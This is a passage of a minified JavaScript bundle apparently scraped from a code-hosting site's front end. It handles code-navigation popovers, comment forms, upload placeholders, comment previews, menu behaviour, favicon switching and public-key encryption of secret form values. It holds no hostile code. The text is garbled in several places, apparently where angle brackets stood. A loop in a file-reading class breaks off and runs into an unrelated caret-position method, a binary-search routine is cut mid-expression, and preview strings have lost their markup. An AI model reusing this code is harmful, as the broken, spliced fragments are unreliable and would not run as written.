l=e.getAttribute("data-tagsearch-code-nav-context");l||(l="UNKNOWN_VIEW");const y=new URL(i,window.location.origin),w=new URLSearchParams;w.set("q",t),w.set("blob_path",r),w.set("ref",a),w.set("language",n),w.set("row",o[0].toString()),w.set("col",o[1].toString()),w.set("code_nav_context",l),y.search=w.toString();try{const S=await fetch(y.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!S.ok)return"";const R=await S.text();return/js-tagsearch-no-definitions/.test(R)?"":R}catch{return""}}s(zn,"fetchPopoverContents");function Nt(e,t,n,o){let r,i;if(document.caretPositionFromPoint){const S=document.caretPositionFromPoint(t,n);S&&(r=S.offsetNode,i=S.offset)}else if(document.caretRangeFromPoint){const S=document.caretRangeFromPoint(t,n);S&&(r=S.startContainer,i=S.startOffset)}if(!r||typeof i!="number"||!(0,U.c)("BLACKBIRD_MONOLITH")&&r.nodeType!==Node.TEXT_NODE)return;const a=r.textContent,l=(a==null?void 0:a.replaceAll(` +`,"").trim())==="";if(!a||l||r.nodeType!==Node.TEXT_NODE){if(o<=0||!(0,U.c)("BLACKBIRD_MONOLITH"))return null;{const S=r.nodeType!==Node.TEXT_NODE?1:10;return Nt(e,t-S,n-S,o-1)}}const y=hs(a,e,i);if(!y)return null;const w=document.createRange();return w.setStart(r,y[1]),w.setEnd(r,y[2]),w}s(Nt,"matchFromPoint");function hs(e,t,n){let o;for(;o=t.exec(e);){const r=o.index+o[0].length;if(o.index<=n&&n<=r)return[o[0],o.index,r]}return null}s(hs,"findNearestMatch");function ps(e){const t=e.closest(".highlight");if(t)for(const n of t.classList)switch(n){case"highlight-source-go":return"Go";case"highlight-source-js":return"JavaScript";case"highlight-source-python":return"Python";case"highlight-source-ruby":return"Ruby";case"highlight-source-ts":return"TypeScript"}return null}s(ps,"getCodeBlockLanguage");function Kn(e){let t=e.startContainer,n=e.startOffset,o=!1;for(;;){let r=t.previousSibling;for(;!o&&r;)["#comment","BUTTON"].includes(r.nodeName)||(n+=(r.textContent||"").length),r=r.previousSibling;const i=t.parentElement;if(i){if(i.classList.contains("js-code-nav-pass"))o=!0;else if(i.classList.contains("js-file-line")){const a=i.previousElementSibling;if(!a.classList.contains("js-code-nav-line-number"))throw new Error("invariant");return[parseInt(a.getAttribute("data-line-number")||"1",10)-1,n]}t=i}else return[0,0]}}s(Kn,"getRowAndColumn");var Me=f(78965);function gs(e){const t=e.querySelector(".js-comment-form-error");t instanceof HTMLElement&&(t.hidden=!0)}s(gs,"clearFormError"),(0,c.on)("click",".errored.js-remove-error-state-on-click",function({currentTarget:e}){e.classList.remove("errored")}),(0,C.AC)(".js-new-comment-form",async function(e,t){let n;gs(e);try{n=await t.json()}catch(i){bs(e,i)}if(!n)return;e.reset();for(const i of e.querySelectorAll(".js-resettable-field"))(0,L.Se)(i,i.getAttribute("data-reset-value")||"");const o=e.querySelector(".js-write-tab");o instanceof HTMLElement&&o.click();const r=n.json.updateContent;for(const i in r){const a=r[i],l=document.querySelector(i);l instanceof HTMLElement?(0,Me.Of)(l,a):console.warn(`couldn't find ${i} for immediate update`)}(0,c.f)(e,"comment:success")});function bs(e,t){let n="You can't comment at this time";if(t.response&&t.response.status===422){const r=t.response.json;r.errors&&(Array.isArray(r.errors)?n+=` \u2014 your comment ${r.errors.join(", ")}`:n=r.errors)}n+=". ";const o=e.querySelector(".js-comment-form-error");if(o instanceof HTMLElement){o.textContent=n,o.hidden=!1;const r=o.closest("div.form-group.js-remove-error-state-on-click");r&&r.classList.add("errored")}}s(bs,"handleFormError");const ys=s((e,t)=>{const n=e.querySelector(".js-form-action-text"),o=n||e;o.textContent=t?e.getAttribute("data-comment-text"):o.getAttribute("data-default-action-text")},"setButtonText"),vs=s(e=>{let t;return n=>{const r=n.currentTarget.value.trim();r!==t&&(t=r,ys(e,Boolean(r)))}},"createInputHandler");(0,u.N7)(".js-comment-and-button",{constructor:HTMLButtonElement,initialize(e){const t=e.form.querySelector(".js-comment-field"),n=vs(e);return{add(){t.addEventListener("input",n),t.addEventListener("change",n)},remove(){t.removeEventListener("input",n),t.removeEventListener("change",n)}}}});var Yl=f(2641);function Vn(e,t){const n=e.closest(".js-write-bucket");n&&n.classList.toggle("focused",t)}s(Vn,"toggleFocus");function ws(e){const t=e.currentTarget;t instanceof Element&&Vn(t,!1)}s(ws,"blurred"),(0,j.ZG)(".js-comment-field",function(e){Vn(e,!0),e.addEventListener("blur",ws,{once:!0})});var Ee=f(40764),Es=f(52769),Bt=f(35889);const Ls=2303741511,js=4;class ot{static fromFile(t){return new Promise(function(n,o){const r=new FileReader;r.onload=function(){n(new ot(r.result))},r.onerror=function(){o(r.error)},r.readAsArrayBuffer(t)})}constructor(t){this.dataview=new DataView(t),this.pos=0}advance(t){this.pos+=t}readInt(t){const n=this,o=function(){switch(t){case 1:return n.dataview.getUint8(n.pos);case 2:return n.dataview.getUint16(n.pos);case 4:return n.dataview.getUint32(n.pos);default:throw new Error("bytes parameter must be 1, 2 or 4")}}();return this.advance(t),o}readChar(){return this.readInt(1)}readShort(){return this.readInt(2)}readLong(){return this.readInt(4)}readString(t){const n=[];for(let o=0;othis.coords.top+this.coords.height?1:0}xDistance(t){return Math.abs(this.left-t)}}s(Xn,"CaretPosition");function Le(e,t){let n;if(rt.has(e)?n=rt.get(e):(n=new Map,rt.set(e,n)),n.has(t))return n.get(t);{const o=new Xn(t,(0,As.Z)(e,t),e);return n.set(t,o),o}}s(Le,"fetchCaretCoords");const Xe=s((e,t,n,o,r,i)=>{if(n===t)return n;const a=s(S=>{const R=S.filter(I=>I.checkLine(r)===0).sort((I,F)=>I.xDistance(o)>F.xDistance(o)?1:-1);return R.length===0?n:R[0].index},"bestPosition");if(n-t===1){const S=Le(e,t),R=Le(e,n);return a([S,R])}if(n-t===2){const S=Le(e,t),R=Le(e,n-1),I=Le(e,n);return a([S,R,I])}const l=Math.floor((n+t)/2);if(l===t||l===n)return l;const y=Le(e,l);if(r>y.top+y.height)return Xe(e,l+1,n,o,r,i+1);if(ro?Le(e,l-1).checkLine(r)!==0?l:Xe(e,t,l-1,o,r,i+1):l},"binaryCursorSearch"),Cs=s((e,t,n)=>{const r=e.value.length-1;return Xe(e,0,r,t,n,0)},"findCursorPosition");function ks(e,t,n){const o=Cs(e,t,n);e.setSelectionRange(o,o)}s(ks,"setCursorPosition");function xs(e,t){const n=e.getBoundingClientRect();t.type==="dragenter"&&rt.delete(e);const o=t.clientX-n.left,r=t.clientY-n.top+e.scrollTop;ks(e,o,r)}s(xs,"caret_placement_updateCaret"),(0,u.N7)(".js-paste-markdown",{initialize(e){let t;return{add(){t=(0,Es.Ld)(e).unsubscribe},remove(){t()}}}});const $t=new WeakMap;function eu(e,t){$t.set(e,t)}s(eu,"cachePlaceholder");function Ms(e){return $t.get(e)||Zn(e)}s(Ms,"getPlaceholder");function Ft(e){return["video/mp4","video/quicktime"].includes(e.file.type)}s(Ft,"isVideo");function qs(e){return e.replace(/[[\]\\"<>&]/g,".").replace(/\.{2,}/g,".").replace(/^\.|\.$/gi,"")}s(qs,"parameterizeName");function Gn(e){return Ft(e)?` +Uploading ${e.file.name}\u2026 +`:`${e.isImage()?"!":""}[Uploading ${e.file.name}\u2026]()`}s(Gn,"placeholderText");function Rs(e){return qs(e).replace(/\.[^.]+$/,"").replace(/\./g," ")}s(Rs,"altText");const _s=72*2;function st(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!0}s(st,"disableSubmit");function it(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!1}s(it,"enableSubmit");async function Ps(e){const{attachment:t}=e.detail,n=e.currentTarget;let o;t.isImage()?o=await Hs(t):Ft(t)?o=Ds(t):o=Is(t),Qn("",o,e,n)}s(Ps,"onUploadCompleted");function Is(e){return`[${e.file.name}](${e.href})`}s(Is,"mdLink");function Ds(e){return` +${e.href} +`}s(Ds,"videoMarkdown");async function Hs(e){const t=await Os(e.file),n=Rs(e.file.name),o=e.href;return t.ppi===_s?`${n}`:`![${n}](${o})`}s(Hs,"imageTag");async function Os(e){var t;const n={width:0,height:0,ppi:0};try{return(t=await Ts(e))!=null?t:n}catch{return n}}s(Os,"imageSize");function Zn(e){const t=Gn(e);return Ft(e)?` +${t} +`:`${t} +`}s(Zn,"replacementText");function Jn(e){const t=e.currentTarget.querySelector(".js-comment-field"),n=Ms(e.detail.attachment);if(t)t.setCustomValidity(""),(0,Ee.lp)(t,n,"");else{const r=(0,Bt.P)(e.currentTarget.querySelector(".js-code-editor")).editor.getSearchCursor(n);r.findNext(),r.replace("")}}s(Jn,"removeFailedUpload");function Qn(e,t,n,o){const r=(o||n.currentTarget).querySelector(".js-comment-field"),i=(o||n.currentTarget).querySelector(".js-file-upload-loading-text"),a=Gn(n.detail.attachment),{batch:l}=n.detail;if(r){const y=r.value.substring(r.selectionStart,r.selectionEnd);if(e==="uploading"){let w;y.length?w=(0,Ee.t4)(r,y,a):w=(0,Ee.Om)(r,a,{appendNewline:!0}),$t.set(n.detail.attachment,w)}else(0,Ee.lp)(r,a,t);l.isFinished()?it(n):st(n)}else{const y=(0,Bt.P)((o||n.currentTarget).querySelector(".js-code-editor")).editor;if(e==="uploading")if(y.getSelection().length)y.replaceSelection(a);else{const w=y.getCursor(),S=Zn(n.detail.attachment);y.replaceRange(S,w)}else{const w=y.getSearchCursor(a);w.findNext(),w.replace(t)}l.isFinished()?it(n):st(n)}if(i){const y=i.getAttribute("data-file-upload-message");i.textContent=`${y} (${l.uploaded()+1}/${l.size})`}}s(Qn,"setValidityAndLinkText"),(0,c.on)("upload:setup",".js-upload-markdown-image",function(e){Qn("uploading","",e)}),(0,c.on)("upload:complete",".js-upload-markdown-image",Ps),(0,c.on)("upload:error",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});function Yn(e){var t;e.stopPropagation();const n=e.currentTarget;if(!n)return;const o=n.querySelector(".js-comment-field");if(o)xs(o,e);else{const r=(t=(0,Bt.P)(n.querySelector(".js-code-editor")))==null?void 0:t.editor;if(r){const i=r.coordsChar({left:e.pageX,top:e.pageY});r.setCursor(i)}}}s(Yn,"updateCursor");const tu=s(e=>{const t=e.currentTarget,n=t.getBoundingClientRect(),o=e.clientX-n.left,r=e.clientY-n.top+t.scrollTop;console.log({x:o,y:r,cursor:t.selectionStart,t:t.value.substring(t.selectionStart-10,t.selectionStart)});const i=new DragEvent("dragenter",{clientX:e.clientX,clientY:e.clientY});updateCaret(t,i)},"debugUpdateCaret");(0,c.on)("dragenter","file-attachment",Yn),(0,c.on)("dragover","file-attachment",Yn),(0,c.on)("upload:invalid",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});var Ut=f(29501),qe=f(15205);function Ns(e){const t=e.querySelector(".js-data-preview-url-csrf"),n=e.closest("form").elements.namedItem("authenticity_token");if(t instanceof HTMLInputElement)return t.value;if(n instanceof HTMLInputElement)return n.value;throw new Error("Comment preview authenticity token not found")}s(Ns,"token");function Wt(e){const t=e.closest(".js-previewable-comment-form"),n=e.classList.contains("js-preview-tab");if(n){const i=t.querySelector(".js-write-bucket"),a=t.querySelector(".js-preview-body");i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`)}t.classList.toggle("preview-selected",n),t.classList.toggle("write-selected",!n);const o=t.querySelector('.tabnav-tab.selected, .tabnav-tab[aria-selected="true"]');o.setAttribute("aria-selected","false"),o.classList.remove("selected"),e.classList.add("selected"),e.setAttribute("aria-selected","true");const r=t.querySelector(".js-write-tab");return n?r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"):r.removeAttribute("data-hotkey"),t}s(Wt,"activateTab"),(0,c.on)("click",".js-write-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z){setTimeout(()=>{n.querySelector(".js-comment-field").focus()});return}const o=Wt(t);(0,c.f)(n,"preview:toggle:off");const r=n.querySelector(".js-discussion-poll-form-component");r&&(0,c.f)(r,"poll-preview:toggle:off"),setTimeout(()=>{o.querySelector(".js-comment-field").focus()});const i=n.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1)}),(0,c.on)("click",".js-preview-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z)return;const o=Wt(t);(0,c.f)(n,"preview:toggle:on"),setTimeout(()=>{Kt(o)});const r=n.querySelector("markdown-toolbar");r instanceof HTMLElement&&(r.hidden=!0),e.stopPropagation(),e.preventDefault()}),(0,c.on)("tab-container-change",".js-previewable-comment-form",function(e){const t=e.detail.relatedTarget,n=t&&t.classList.contains("js-preview-panel"),o=e.currentTarget,r=o.querySelector(".js-write-tab");if(n){const i=o.querySelector(".js-write-bucket"),a=o.querySelector(".js-preview-body");!a.hasAttribute("data-skip-sizing")&&i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`),r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"),Kt(o);const y=o.querySelector("markdown-toolbar");y instanceof HTMLElement&&(y.hidden=!0)}else{r.removeAttribute("data-hotkey");const i=o.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1);const a=document.querySelector(".js-discussion-poll-form-component");a&&(0,c.f)(a,"poll-preview:toggle:off")}o.classList.toggle("preview-selected",n),o.classList.toggle("write-selected",!n)}),(0,c.on)("preview:render",".js-previewable-comment-form",function(e){const t=e.target.querySelector(".js-preview-tab"),n=Wt(t);setTimeout(()=>{Kt(n);const o=n.querySelector("markdown-toolbar");o instanceof HTMLElement&&(o.hidden=!0)})});function Bs(e){var t,n,o,r,i,a,l,y,w;const S=e.querySelector(".js-comment-field").value,R=(t=e.querySelector(".js-path"))==null?void 0:t.value,I=(n=e.querySelector(".js-line-number"))==null?void 0:n.value,F=(o=e.querySelector(".js-start-line-number"))==null?void 0:o.value,X=(r=e.querySelector(".js-side"))==null?void 0:r.value,oe=(i=e.querySelector(".js-start-side"))==null?void 0:i.value,Q=(a=e.querySelector(".js-start-commit-oid"))==null?void 0:a.value,se=(l=e.querySelector(".js-end-commit-oid"))==null?void 0:l.value,ce=(y=e.querySelector(".js-base-commit-oid"))==null?void 0:y.value,de=(w=e.querySelector(".js-comment-id"))==null?void 0:w.value,Y=new FormData;return Y.append("text",S),Y.append("authenticity_token",Ns(e)),R&&Y.append("path",R),I&&Y.append("line_number",I),F&&Y.append("start_line_number",F),X&&Y.append("side",X),oe&&Y.append("start_side",oe),Q&&Y.append("start_commit_oid",Q),se&&Y.append("end_commit_oid",se),ce&&Y.append("base_commit_oid",ce),de&&Y.append("comment_id",de),Y}s(Bs,"previewForm");function eo(e){const t=e.getAttribute("data-preview-url"),n=Bs(e);return(0,c.f)(e,"preview:setup",{data:n}),$s(t,n)}s(eo,"fetchPreview");const $s=(0,qe.Z)(Fs,{hash:Us});let zt=null;async function Fs(e,t){zt==null||zt.abort();const{signal:n}=zt=new AbortController,o=await fetch(e,{method:"post",body:t,signal:n});if(!o.ok)throw new Error("something went wrong");return o.text()}s(Fs,"uncachedFetch");function Us(e,t){const n=[...t.entries()].toString();return`${e}:${n}`}s(Us,"hash");async function Kt(e){const t=e.querySelector(".comment-body");t.innerHTML="

    Loading preview…

    ";try{const n=await eo(e);t.innerHTML=n||"

    Nothing to preview

    ",(0,c.f)(e,"preview:rendered")}catch(n){n.name!=="AbortError"&&(t.innerHTML="

    Error rendering preview

    ")}}s(Kt,"renderPreview"),(0,u.N7)(".js-preview-tab",function(e){e.addEventListener("mouseenter",async()=>{const t=e.closest(".js-previewable-comment-form");try{await eo(t)}catch{}})}),(0,j.w4)("keydown",".js-comment-field",function(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.shiftKey&&e.key.toUpperCase()==="P"){const n=t.closest(".js-previewable-comment-form");n.classList.contains("write-selected")&&(n instanceof Ut.Z?n.querySelector(".js-preview-tab").click():(t.blur(),n.dispatchEvent(new CustomEvent("preview:render",{bubbles:!0,cancelable:!1}))),e.preventDefault(),e.stopImmediatePropagation())}});const to=/^(\+1|-1|:\+1?|:-1?)$/,Ws=s(e=>{let t=!1;for(const n of e.split(` +`)){const o=n.trim();if(!(!o||o.startsWith(">"))){if(t&&to.test(o)===!1)return!1;!t&&to.test(o)&&(t=!0)}}return t},"isReactionLikeComment");(0,c.on)("focusout","#new_comment_field",function(e){const n=e.currentTarget.closest(".js-reaction-suggestion");n&&oo(n)}),(0,c.on)("focusin","#new_comment_field",function(e){no(e)}),(0,j.w4)("keyup","#new_comment_field",function(e){no(e)});function no(e){const t=e.target,n=t.value,o=t.closest(".js-reaction-suggestion");if(!!o)if(Ws(n)){o.classList.remove("hide-reaction-suggestion"),o.classList.add("reaction-suggestion");const r=o.getAttribute("data-reaction-markup");o.setAttribute("data-reaction-suggestion-message",r)}else oo(o)}s(no,"toggleReactionSuggestion");function oo(e){e.classList.remove("reaction-suggestion"),e.classList.add("hide-reaction-suggestion"),e.removeAttribute("data-reaction-suggestion-message")}s(oo,"clearReactionSuggestion");var at=f(5287);(0,c.on)("navigation:keydown",".js-commits-list-item",function(e){!(0,at.Zf)(e.detail.originalEvent)||e.target instanceof Element&&e.detail.hotkey==="c"&&e.target.querySelector(".js-navigation-open").click()});var nu=f(87924);(0,j.q6)(".js-company-name-input",function(e){const t=e.target,n=t.form,o=n.querySelector(".js-corp-tos-link"),r=n.querySelector(".js-tos-link");r&&(r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.classList.remove("d-none"),o.setAttribute("aria-hidden","false")));const i=n.querySelectorAll(".js-company-name-text");if(i.length!==0)for(const a of i)if(t.value)if(a.hasAttribute("data-wording")){const y=a.getAttribute("data-wording");a.textContent=` ${y} ${t.value}`}else a.textContent=t.value;else a.textContent=""}),(0,u.N7)(".js-company-owned:not(:checked)",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input"),o=document.querySelector(".js-company-name-text"),r=document.querySelector(".js-corp-tos-link"),i=document.querySelector(".js-tos-link");n&&(e.getAttribute("data-optional")&&n.removeAttribute("required"),(0,L.Se)(n,"")),i.classList.remove("d-none"),i.setAttribute("aria-hidden","false"),r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.textContent="")}}),(0,u.N7)(".js-company-owned:checked",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input");n&&(n.setAttribute("required",""),(0,c.f)(n,"focus"),(0,c.f)(n,"input"))}}),(0,u.N7)(".js-company-owned-autoselect",{constructor:HTMLInputElement,add(e){const t=e;function n(){if(t.checked&&t.form){const o=t.form.querySelector(".js-company-owned");(0,L.Se)(o,!0)}}s(n,"autoselect"),t.addEventListener("change",n),n()}});var Vt=f(10178),Xt=f(33948),Gt=f(55444);let je=null;document.addEventListener("keydown",function(e){!e.defaultPrevented&&e.key==="Escape"&&je&&je.removeAttribute("open")}),(0,u.N7)(".js-dropdown-details",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"toggle",Ks),(0,M.RB)(e,"toggle",zs))});function zs({currentTarget:e}){const t=e;if(t.hasAttribute("open")){const n=t.querySelector("[autofocus]");n&&n.focus()}else{const n=t.querySelector("summary");n&&n.focus()}}s(zs,"autofocus");function Ks({currentTarget:e}){const t=e;t.hasAttribute("open")?(je&&je!==t&&je.removeAttribute("open"),je=t):t===je&&(je=null)}s(Ks,"closeCurrentDetailsDropdown"),(0,u.N7)("[data-deferred-details-content-url]:not([data-details-no-preload-on-hover])",{subscribe:e=>{const t=e.querySelector("summary");return(0,M.RB)(t,"mouseenter",Gt.G)}}),(0,u.N7)("[data-deferred-details-content-url]",{subscribe:e=>(0,M.RB)(e,"toggle",Gt.G)}),(0,c.on)("click","[data-toggle-for]",function(e){const t=e.currentTarget.getAttribute("data-toggle-for")||"",n=document.getElementById(t);!n||(n.hasAttribute("open")?n.removeAttribute("open"):n.setAttribute("open","open"))}),(0,Xt.Z)(function({target:e}){if(!e||e.closest("summary"))return;let t=e.parentElement;for(;t;)t=t.closest("details"),t&&(t.hasAttribute("open")||t.setAttribute("open",""),t=t.parentElement)}),(0,c.on)("details-dialog-close","[data-disable-dialog-dismiss]",function(e){e.preventDefault()});var Vs=f(88309);(0,u.N7)("details.select-menu details-menu include-fragment",function(e){const t=e.closest("details");!t||(e.addEventListener("loadstart",function(){t.classList.add("is-loading"),t.classList.remove("has-error")}),e.addEventListener("error",function(){t.classList.add("has-error")}),e.addEventListener("loadend",function(){t.classList.remove("is-loading");const n=t.querySelector(".js-filterable-field");n&&(0,c.f)(n,"filterable:change")}))}),(0,u.N7)("details details-menu .js-filterable-field",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="",(0,c.f)(e,"filterable:change"))})}}),(0,u.N7)("details-menu[role=menu] [role=menu]",e=>{const t=e.closest("details-menu[role]");t&&t!==e&&t.removeAttribute("role")}),(0,u.N7)("details details-menu remote-input input",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="")})}}),(0,u.N7)("form details-menu",e=>{const t=e.closest("form");t.addEventListener("reset",()=>{setTimeout(()=>Xs(t),0)})});function Xs(e){const t=e.querySelectorAll("details-menu [role=menuitemradio] input[type=radio]:checked");for(const n of t)(0,c.f)(n,"change")}s(Xs,"resetMenus"),(0,j.w4)("keypress","details-menu .js-filterable-field, details-menu filter-input input",e=>{if(e.key==="Enter"){const o=e.currentTarget.closest("details-menu").querySelector('[role^="menuitem"]:not([hidden])');o instanceof HTMLElement&&o.click(),e.preventDefault()}}),(0,c.on)("details-menu-selected","details-menu",e=>{const n=e.currentTarget.querySelector(".js-filterable-field");n instanceof HTMLInputElement&&n.value&&n.focus()},{capture:!0}),(0,c.on)("details-menu-selected","[data-menu-input]",e=>{if(!(e.target instanceof Element))return;const t=e.target.getAttribute("data-menu-input"),n=document.getElementById(t);(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement)&&(n.value=e.detail.relatedTarget.value)},{capture:!0}),(0,u.N7)("details-menu remote-input",{constructor:Vs.Z,initialize(e){const t=document.getElementById(e.getAttribute("aria-owns")||"");if(!t)return;let n=null;e.addEventListener("load",()=>{document.activeElement&&t.contains(document.activeElement)&&document.activeElement.id?n=document.activeElement.id:n=null}),e.addEventListener("loadend",()=>{if(n){const o=t.querySelector(`#${n}`)||t.querySelector('[role^="menu"]');o instanceof HTMLElement?o.focus():e.input&&e.input.focus()}})}}),(0,c.on)("details-menu-selected","details-menu[data-menu-max-options]",e=>{const t=+e.currentTarget.getAttribute("data-menu-max-options"),n=e.currentTarget.querySelectorAll('[role="menuitemcheckbox"][aria-checked="true"]'),o=t===n.length;e.currentTarget.querySelector("[data-menu-max-options-warning]").hidden=!o;for(const r of e.currentTarget.querySelectorAll('[role="menuitemcheckbox"] input'))r.disabled=o&&!r.checked},{capture:!0}),(0,u.N7)("details > details-menu",{subscribe(e){const t=e.closest("details");return(0,M.RB)(t,"toggle",Gs)}});async function Gs({currentTarget:e}){const t=e,n=t.hasAttribute("open");(0,c.f)(t,n?"menu:activate":"menu:deactivate"),await(0,k.gJ)(),(0,c.f)(t,n?"menu:activated":"menu:deactivated")}s(Gs,"fireMenuToggleEvent"),(0,u.N7)("details > details-menu[preload]:not([src])",{subscribe(e){return(0,M.RB)(e.parentElement,"mouseover",function(t){const o=t.currentTarget.querySelector("include-fragment[src]");o==null||o.load()})}});const Zt=new WeakMap,ro=["input[type=submit][data-disable-with]","button[data-disable-with]"].join(", ");function Zs(e){return e instanceof HTMLInputElement?e.value||"Submit":e.innerHTML||""}s(Zs,"getButtonText");function so(e,t){e instanceof HTMLInputElement?e.value=t:e.innerHTML=t}s(so,"disable_with_setButtonText"),(0,c.on)("submit","form",function(e){for(const t of e.currentTarget.querySelectorAll(ro)){Zt.set(t,Zs(t));const n=t.getAttribute("data-disable-with");n&&so(t,n),t.disabled=!0}},{capture:!0});function io(e){for(const t of e.querySelectorAll(ro)){const n=Zt.get(t);n!=null&&(so(t,n),(!t.hasAttribute("data-disable-invalid")||e.checkValidity())&&(t.disabled=!1),Zt.delete(t))}}s(io,"revert"),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e,target:t}){e===t&&io(e)}),(0,C.uT)(io),(0,u.N7)(".js-document-dropzone",{constructor:HTMLElement,add(e){document.body.addEventListener("dragstart",uo),document.body.addEventListener("dragend",fo),document.body.addEventListener("dragenter",ct),document.body.addEventListener("dragover",ct),document.body.addEventListener("dragleave",co),e.addEventListener("drop",lo)},remove(e){document.body.removeEventListener("dragstart",uo),document.body.removeEventListener("dragend",fo),document.body.removeEventListener("dragenter",ct),document.body.removeEventListener("dragover",ct),document.body.removeEventListener("dragleave",co),e.removeEventListener("drop",lo)}});function ao(e){return Array.from(e.types).indexOf("Files")>=0}s(ao,"hasFile");let Jt=null;function ct(e){if(Qt)return;const t=e.currentTarget;Jt&&window.clearTimeout(Jt),Jt=window.setTimeout(()=>t.classList.remove("dragover"),200);const n=e.dataTransfer;!n||!ao(n)||(n.dropEffect="copy",t.classList.add("dragover"),e.stopPropagation(),e.preventDefault())}s(ct,"onDragenter");function co(e){e.target instanceof Element&&e.target.classList.contains("js-document-dropzone")&&e.currentTarget.classList.remove("dragover")}s(co,"onBodyDragleave");function lo(e){const t=e.currentTarget;t.classList.remove("dragover"),document.body.classList.remove("dragover");const n=e.dataTransfer;!n||!ao(n)||((0,c.f)(t,"document:drop",{transfer:n}),e.stopPropagation(),e.preventDefault())}s(lo,"onDrop");let Qt=!1;function uo(){Qt=!0}s(uo,"onDragstart");function fo(){Qt=!1}s(fo,"onDragend");var lt=f(69567);async function mo(e,t){const o=new TextEncoder().encode(t),{seal:r}=await Promise.all([f.e("vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js"),f.e("_empty-file_js-app_assets_modules_github_tweetsodium_ts")]).then(f.bind(f,6743));return r(o,e)}s(mo,"encrypt");function ho(e){const t=atob(e).split("").map(n=>n.charCodeAt(0));return Uint8Array.from(t)}s(ho,"decode");function po(e){let t="";for(const n of e)t+=String.fromCharCode(n);return btoa(t)}s(po,"encode"),(0,c.on)("submit","form.js-encrypt-submit",async function(e){const t=e.currentTarget;if(e.defaultPrevented||!t.checkValidity())return;const n=t.elements.namedItem("secret_value");if(n.disabled=!0,!n.value)return;e.preventDefault();const o=ho(t.getAttribute("data-public-key"));t.elements.namedItem("encrypted_value").value=po(await mo(o,n.value)),t.submit()}),(0,c.on)("submit","form.js-encrypt-bulk-submit",go(!0)),(0,c.on)("submit","form.js-encrypt-bulk-submit-enable-empty",go(!1));function go(e){return async function(t){const n=t.currentTarget;if(t.defaultPrevented||!n.checkValidity())return;const o=ho(n.getAttribute("data-public-key"));t.preventDefault();for(const r of n.elements){const i=r;if(i.id.endsWith("secret")){if(i.disabled=!0,i.required&&!i.value){const l=`${i.name} is invalid!`,y=document.querySelector("template.js-flash-template");y.after(new lt.R(y,{className:"flash-error",message:l}));return}const a=`${i.name}_encrypted_value`;if(!i.value){n.elements.namedItem(a).disabled=e;continue}n.elements.namedItem(a).value=po(await mo(o,i.value))}}n.submit()}}s(go,"submitBulk");var Se=f(29946);let ut;function dt(e,t){const n=document.querySelector('.js-site-favicon[type="image/svg+xml"]'),o=document.querySelector('.js-site-favicon[type="image/png"]');t||(t="light");const r=t==="light"?"":"-dark";if(n&&o)if(ut==null&&(ut=n.href),e){e=e.substr(0,e.lastIndexOf(".")),e=`${e}${r}.svg`,n.href=e;const i=n.href.substr(0,n.href.lastIndexOf("."));o.href=`${i}.png`}else{const i=n.href.indexOf("-dark.svg"),a=n.href.substr(0,i!==-1?i:n.href.lastIndexOf("."));n.href=`${a}${r}.svg`,o.href=`${a}${r}.png`}}s(dt,"updateFavicon");function ft(){return window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches}s(ft,"prefersDarkColorScheme");function Js(){ut!=null&&dt(ut,ft()?"dark":"light")}s(Js,"resetIcon");function bo(){ft()&&dt(void 0,"dark")}s(bo,"updateDarkFavicon"),(0,u.N7)("[data-favicon-override]",{add(e){const t=e.getAttribute("data-favicon-override");setTimeout(()=>dt(t,ft()?"dark":"light"))},remove(){Js()}}),bo(),document.addEventListener(Se.QE.SUCCESS,bo),window.matchMedia("(prefers-color-scheme: dark)").addListener(()=>{dt(void 0,ft()?"dark":"light")}),(0,u.N7)(".js-feature-preview-indicator-container",e=>{Qs(e)});async function Qs(e){const t=e.getAttribute("data-feature-preview-indicator-src"),n=await Ys(t),o=e.querySelectorAll(".js-feature-preview-indicator");for(const r of o)r.hidden=!n}s(Qs,"fetchFeaturePreviewIndicator");async function Ys(e){try{const t=await fetch(e,{headers:{Accept:"application/json"}});return t.ok?(await t.json()).show_indicator:!1}catch{return!1}}s(Ys,"fetchIndicator");var Te=f(12737),pe=f(29719);(0,c.on)("click","[data-feature-preview-trigger-url]",async e=>{const t=e.currentTarget,n=t.getAttribute("data-feature-preview-trigger-url"),o=await(0,Te.W)({content:(0,pe.a)(document,n),dialogClass:"feature-preview-dialog"}),r=t.getAttribute("data-feature-preview-close-details"),i=t.getAttribute("data-feature-preview-close-hmac");o.addEventListener("dialog:remove",()=>{(0,he.b)({hydroEventPayload:r,hydroEventHmac:i},!0)});const a=document.querySelectorAll(".js-feature-preview-indicator");for(const l of a)l.hidden=!0}),(0,C.AC)(".js-feature-preview-unenroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-unenroll:${n}`)}),(0,C.AC)(".js-feature-preview-enroll",async(e,t)=>{await t.text();const 